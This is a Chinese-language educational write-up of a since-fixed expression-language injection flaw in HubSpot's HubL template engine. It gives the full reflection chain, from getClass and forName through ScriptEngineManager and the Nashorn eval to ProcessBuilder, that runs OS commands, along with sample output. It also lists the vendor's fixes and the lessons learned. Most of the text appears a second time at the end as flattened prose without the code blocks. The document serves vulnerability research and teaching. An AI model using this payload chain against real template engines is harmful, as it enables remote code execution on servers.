HubL中的EL注入导致远程代码执行
字数 2098 2025-08-29 08:31:35

HubL表达式语言注入漏洞分析与利用教学

漏洞概述

本教学文档详细分析HubL(HubSpot模板语言)中的表达式语言(EL)注入漏洞,该漏洞最终可导致远程代码执行(RCE)。漏洞存在于HubSpot CRM的模板和自定义模块功能中,允许攻击者通过精心构造的HubL表达式在服务器端执行任意Java代码。

基础知识

HubL语言简介

HubL是HubSpot基于Jinja开发的模板语言,使用三种分隔符:

  1. {% %} - 语句分隔符:用于创建可编辑模块、定义条件逻辑、设置循环、声明变量等
  2. {{ }} - 表达式分隔符:其中的内容会被模板引擎解析并执行
  3. {# #} - 注释分隔符:其中的内容会被忽略

关键特性

  • 支持内置变量如{{ account }}{{ company_domain }}{{ content }}
  • 允许用户声明自定义变量并在表达式中使用
  • 底层基于Java实现,可调用Java对象的方法

漏洞发现过程

初步探测

  1. 使用简单表达式测试:{{7 * 7}}返回49,确认表达式被执行
  2. 尝试识别模板引擎类型,但未匹配已知模式
  3. 发现未记录的request变量:{{request}}返回com.hubspot.content.hubl.context.TemplateContextRequest@23548206

Java环境确认

  1. 字符串操作测试:
    • {{'a'.toUpperCase()}}A
    • {{'a'.concat('b')}}ab
  2. 获取类信息:
    • {{'a'.getClass()}}java.lang.String
    • {{request.getClass()}}class com.hubspot.content.hubl.context.TemplateContextRequest

深入探索

  1. 获取类方法:
    • {{request.getClass().getDeclaredMethods()[0]}}public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
  2. 调用方法:
    • {{request.isDebug()}}false
  3. 实例化其他类:
    • {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}sun.misc.Launcher@715537d4
    • {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}com.hubspot.jinjava.JinjavaConfig@78a56797

漏洞利用技术

初始RCE尝试

尝试直接实例化Runtime类失败:

{{'a'.getClass().forName('java.lang.Runtime').newInstance()}}

返回错误:IllegalAccessException,因为Runtime构造方法是私有的

替代方案探索

  1. 尝试System类同样失败
  2. 发现javax.script.ScriptEngineManager可用:
    {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance()}}
    
    成功返回:javax.script.ScriptEngineManager@727c1a89

JavaScript引擎利用

  1. 获取JavaScript引擎:

    {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript')}}
    

    返回:jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a

  2. 执行简单eval测试:

    {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("new java.lang.String('xxx')")}}
    

    成功返回:xxx

实现命令执行

  1. 基本命令执行:

    {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}
    

    返回进程对象:java.lang.UNIXProcess@1e5f456e

  2. 获取命令输出:
    使用org.apache.commons.io.IOUtils读取命令输出:

    {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"uname\",\"-a\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}
    

    返回系统信息:Linux bumpy-puma 4.9.62-hs4.el6.x86_64...

完整利用链

  1. 通过getClass()方法获取String类
  2. 使用forName()加载ScriptEngineManager
  3. 实例化ScriptEngineManager
  4. 获取JavaScript引擎
  5. 使用eval()执行JavaScript代码
  6. 在JavaScript中创建ProcessBuilder对象
  7. 设置要执行的命令
  8. 使用IOUtils.toString()获取命令输出

防御措施

HubSpot通过以下方式修复了该漏洞:

  • 禁用变量上的getClass方法
  • 限制敏感类的实例化和方法调用

学习要点

  1. 表达式语言注入可能导致严重的RCE漏洞
  2. 即使直接访问受限(如Runtime类),也可能存在替代利用路径
  3. Java环境提供了多种实现RCE的方式
  4. 漏洞研究需要深入了解目标技术栈和不断尝试的精神

参考资源

  1. Jinjava项目源代码
  2. Java反射机制文档
  3. ScriptEngineManager API文档
  4. 相关安全研究文章(见原文链接)
HubL表达式语言注入漏洞分析与利用教学 漏洞概述 本教学文档详细分析HubL(HubSpot模板语言)中的表达式语言(EL)注入漏洞,该漏洞最终可导致远程代码执行(RCE)。漏洞存在于HubSpot CRM的模板和自定义模块功能中,允许攻击者通过精心构造的HubL表达式在服务器端执行任意Java代码。 基础知识 HubL语言简介 HubL是HubSpot基于Jinja开发的模板语言,使用三种分隔符: {% %} - 语句分隔符:用于创建可编辑模块、定义条件逻辑、设置循环、声明变量等 {{ }} - 表达式分隔符:其中的内容会被模板引擎解析并执行 {# #} - 注释分隔符:其中的内容会被忽略 关键特性 支持内置变量如 {{ account }} 、 {{ company_domain }} 、 {{ content }} 等 允许用户声明自定义变量并在表达式中使用 底层基于Java实现,可调用Java对象的方法 漏洞发现过程 初步探测 使用简单表达式测试: {{7 * 7}} 返回 49 ,确认表达式被执行 尝试识别模板引擎类型,但未匹配已知模式 发现未记录的 request 变量: {{request}} 返回 com.hubspot.content.hubl.context.TemplateContextRequest@23548206 Java环境确认 字符串操作测试: {{'a'.toUpperCase()}} → A {{'a'.concat('b')}} → ab 获取类信息: {{'a'.getClass()}} → java.lang.String {{request.getClass()}} → class com.hubspot.content.hubl.context.TemplateContextRequest 深入探索 获取类方法: {{request.getClass().getDeclaredMethods()[0]}} → public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() 调用方法: {{request.isDebug()}} → false 实例化其他类: {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} → sun.misc.Launcher@715537d4 {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} → com.hubspot.jinjava.JinjavaConfig@78a56797 漏洞利用技术 初始RCE尝试 尝试直接实例化 Runtime 类失败: 返回错误: IllegalAccessException ,因为Runtime构造方法是私有的 替代方案探索 尝试 System 类同样失败 发现 javax.script.ScriptEngineManager 可用: 成功返回: javax.script.ScriptEngineManager@727c1a89 JavaScript引擎利用 获取JavaScript引擎: 返回: jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a 执行简单eval测试: 成功返回: xxx 实现命令执行 基本命令执行: 返回进程对象: java.lang.UNIXProcess@1e5f456e 获取命令输出: 使用 org.apache.commons.io.IOUtils 读取命令输出: 返回系统信息: Linux bumpy-puma 4.9.62-hs4.el6.x86_64... 完整利用链 通过 getClass() 方法获取String类 使用 forName() 加载 ScriptEngineManager 类 实例化 ScriptEngineManager 获取JavaScript引擎 使用 eval() 执行JavaScript代码 在JavaScript中创建 ProcessBuilder 对象 设置要执行的命令 使用 IOUtils.toString() 获取命令输出 防御措施 HubSpot通过以下方式修复了该漏洞: 禁用变量上的 getClass 方法 限制敏感类的实例化和方法调用 学习要点 表达式语言注入可能导致严重的RCE漏洞 即使直接访问受限(如Runtime类),也可能存在替代利用路径 Java环境提供了多种实现RCE的方式 漏洞研究需要深入了解目标技术栈和不断尝试的精神 参考资源 Jinjava项目源代码 Java反射机制文档 ScriptEngineManager API文档 相关安全研究文章(见原文链接)